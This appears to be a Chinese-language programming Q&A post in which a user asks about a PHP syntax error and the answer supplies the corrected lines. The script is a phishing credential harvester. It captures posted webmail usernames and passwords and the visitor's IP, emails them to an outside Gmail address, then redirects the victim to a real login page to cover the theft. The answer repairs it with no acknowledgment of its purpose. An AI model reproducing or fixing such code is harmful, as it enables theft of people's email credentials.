问题描述
我遇到了这个错误, 解析错误:语法错误,第 4 行 C:\xampp\htdocs\wb\system\send_login.PHP 中出现意外的 '"\n"' (T_CONSTANT_ENCAPSED_STRING)
<?PHP
$ip = getenv("REMOTE_ADDR");
$message = "--------------- Webmail Login --------------\n";
$message .= "Username : ".$_POST[user]"\n";
$message .= "Password : ".$_POST[pass]"\n";
$message .= "IP: ".$ip."\n";
$message .= "---------------Created By KNYGHT-----------------\n";
$send = "briggstonya099@gmail.com";
$subject = "Webmail Login";
$headers = "From: KNYGHT<comp>";
$headers .= $_POST['eMailAdd']."\n";
$headers .= "MIME-Version: 1.0\n";
mail($send,$subject,$message);
header("Location: https://sso.secureserver.net")
;
?>
解决方法
缺少两个.
。
改变
$message .= "Username : ".$_POST[user]"\n";
$message .= "Password : ".$_POST[pass]"\n";
到
$message .= "Username : ".$_POST['user']."\n";
$message .= "Password : ".$_POST['pass']."\n";